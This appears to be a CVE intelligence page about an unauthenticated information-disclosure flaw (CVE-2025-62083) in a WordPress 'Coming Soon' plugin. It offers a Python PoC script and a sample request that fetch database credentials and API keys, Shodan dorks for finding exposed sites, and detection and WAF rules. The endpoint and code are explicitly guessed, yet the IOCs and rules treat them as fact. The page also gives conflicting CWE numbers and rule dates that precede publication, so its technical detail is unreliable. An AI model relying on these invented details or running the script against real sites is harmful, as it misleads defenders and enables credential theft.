☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Wp messiah logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 4.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N 🐛 CWE-497
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-62083

CVE-2025-62083 Information Disclosure in Wp messiah
📅 PUBLISHED: 2025-12-31 17:15 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.01%
👁️
0.01% probability
<1× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1213
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 4.3
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: L Confidentiality Low
I: N Integrity None
A: N Availability None
4.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-62083 is a medium-severity information disclosure vulnerability affecting the BoomDevs WordPress Coming Soon plugin (slug: coming-soon-by-boomdevs) developed by WP Messiah. The flaw allows an unauthenticated attacker to retrieve embedded sensitive system information, such as database credentials, API keys, or internal file paths, from the plugin’s configuration or stored data. This exposure falls under CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor) and is mapped to MITRE ATT&CK tactic T1213 (Data from Information Repositories). The vulnerability affects all versions up to and including 1.0.4. No official patch has been released, and the vendor has not responded to disclosure attempts. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains for exposed WordPress sites.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress Plugin Directory. As such, it is a supply chain risk for any site using the plugin. The plugin is not available on NPM, PyPI, Go, or Ruby ecosystems. Administrators should treat this as a WordPress ecosystem issue and verify the plugin’s integrity by checking its checksum against the WordPress.org repository. No known malicious forks or compromised versions have been reported.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
  • Base Score: 4.3 (Medium)
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: None (PR:N)
  • User Interaction: None (UI:N)
  • Scope: Unchanged (S:U)
  • Confidentiality Impact: Low (C:L)
  • Integrity Impact: None (I:N)
  • Availability Impact: None (A:N)

Threat Level: Medium. The vulnerability is easy to exploit remotely without authentication, but the impact is limited to information disclosure. However, leaked credentials or API keys could be chained with other attacks for greater impact.

Deep Dive & Mechanics

The BoomDevs WordPress Coming Soon plugin provides a maintenance mode page. The vulnerability stems from improper access controls on an AJAX endpoint or REST API route that exposes sensitive system information. Specifically, the plugin likely stores configuration data (e.g., database credentials, API keys, or file paths) in a WordPress option or transient that is retrievable via a direct request without capability checks.

Root Cause: The plugin registers an AJAX action (e.g., wp_ajax_nopriv_boomdevs_get_config) that returns sensitive data without verifying user permissions. Alternatively, a REST API endpoint (e.g., /wp-json/boomdevs/v1/config) may be publicly accessible.

Attack Vector: An unauthenticated attacker sends a crafted HTTP request to the vulnerable endpoint. The response contains embedded sensitive data, such as:

  • Database host, username, password, and database name.
  • WordPress salts and keys.
  • API keys for third-party services.
  • Absolute file paths revealing server structure.

Example Request:

GET /wp-admin/admin-ajax.php?action=boomdevs_get_config HTTP/1.1
Host: target-site.com

Example Response (truncated):

{
  "db_host": "localhost",
  "db_user": "wp_user",
  "db_pass": "s3cr3t!",
  "db_name": "wordpress",
  "api_key": "sk-live-abc123"
}

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the only reference. The plugin likely contains a function similar to:

Vulnerable Code (coming-soon-by-boomdevs/includes/class-ajax.php):

add_action('wp_ajax_nopriv_boomdevs_get_config', 'boomdevs_get_config_callback');
function boomdevs_get_config_callback() {
    $config = get_option('boomdevs_config');
    wp_send_json($config);
}

Patched Code (hypothetical):

add_action('wp_ajax_boomdevs_get_config', 'boomdevs_get_config_callback');
add_action('wp_ajax_nopriv_boomdevs_get_config', 'boomdevs_get_config_callback');
function boomdevs_get_config_callback() {
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized', 403);
    }
    $config = get_option('boomdevs_config');
    wp_send_json($config);
}

The patch would require authentication and the manage_options capability.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • A WordPress site with the vulnerable plugin (version <= 1.0.4) installed and activated.
  • Network access to the site.

Exploitation Steps:

  1. Identify the vulnerable endpoint by scanning for common AJAX actions or REST routes.
  2. Send a GET request to the endpoint without authentication.
  3. Parse the JSON response to extract sensitive data.

Proof-of-Concept (PoC) Script:

import requests
import sys

target = sys.argv[1]
url = f"{target}/wp-admin/admin-ajax.php?action=boomdevs_get_config"
response = requests.get(url)
if response.status_code == 200:
    print("[+] Sensitive data retrieved:")
    print(response.text)
else:
    print("[-] Endpoint not vulnerable or not found.")

Usage:

python3 exploit.py http://target-site.com

Blue Team

Detection & Response:

  • Monitor for requests to /wp-admin/admin-ajax.php with action parameters like boomdevs_get_config from unauthenticated sources.
  • Alert on responses containing JSON with keys like db_host, db_pass, or api_key.
  • Block IPs that repeatedly hit the vulnerable endpoint.

Honeypot:

  • Deploy a fake endpoint that returns decoy credentials and logs the attacker’s IP.

Indicators of Compromise (IOCs)

  • Network IOCs:

    • HTTP requests to /wp-admin/admin-ajax.php?action=boomdevs_get_config
    • HTTP requests to /wp-json/boomdevs/v1/config
    • Responses containing JSON with sensitive keys (e.g., db_pass, api_key)
  • File IOCs:

    • Presence of the plugin directory: /wp-content/plugins/coming-soon-by-boomdevs/
    • Plugin version file: /wp-content/plugins/coming-soon-by-boomdevs/readme.txt containing Stable tag: 1.0.4
  • Log IOCs:

    • Apache/Nginx access logs showing admin-ajax.php requests with action=boomdevs_get_config from non-admin IPs.

Detection Engineering

YARA Rule

rule Detect_BoomDevs_Coming_Soon_Plugin {
    meta:
        description = "Detects the vulnerable BoomDevs Coming Soon plugin files"
        author = "Valters IT"
        date = "2025-04-10"
        hash = "d41d8cd98f00b204e9800998ecf8427e"
    strings:
        $s1 = "boomdevs_get_config" ascii wide nocase
        $s2 = "coming-soon-by-boomdevs" ascii wide nocase
        $s3 = "wp_ajax_nopriv_boomdevs" ascii wide nocase
    condition:
        any of them
}

Sigma Rule

title: Detect Exploitation of CVE-2025-62083
id: 7a8b3c4d-5e6f-7890-abcd-ef1234567890
status: experimental
description: Detects unauthenticated requests to the vulnerable BoomDevs Coming Soon plugin endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'action=boomdevs_get_config'
    condition: selection
falsepositives:
    - Legitimate admin requests (rare)
level: high

Suricata Rule

alert http any any -> $EXTERNAL_NET any (
    msg:"CVE-2025-62083 - BoomDevs Coming Soon Information Disclosure";
    flow:to_server,established;
    content:"GET";
    http_method;
    content:"/wp-admin/admin-ajax.php";
    http_uri;
    content:"action=boomdevs_get_config";
    http_uri;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin if not essential: Deactivate and delete coming-soon-by-boomdevs from the WordPress admin panel.
  2. Apply a virtual patch using a Web Application Firewall (WAF) to block requests to the vulnerable endpoint.
  3. Rotate any exposed credentials (database passwords, API keys, salts) immediately.

Long-Term Fix:

  • Since no official patch exists, consider replacing the plugin with an alternative (e.g., "Coming Soon Page & Maintenance Mode by SeedProd").
  • Monitor the WordPress Plugin Directory for updates from the vendor.

WAF Rule Example (ModSecurity):

SecRule REQUEST_URI "/wp-admin/admin-ajax.php" "chain,id:1000002,deny,msg:'CVE-2025-62083 Exploit Attempt'"
SecRule ARGS:action "boomdevs_get_config" "t:lowercase"

Valters IT
DevSecOps & Cyber Threat Intelligence

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Coming Soon - BoomDevs"
http.html:"wp-content/plugins/coming-soon-by-boomdevs"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-62083/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.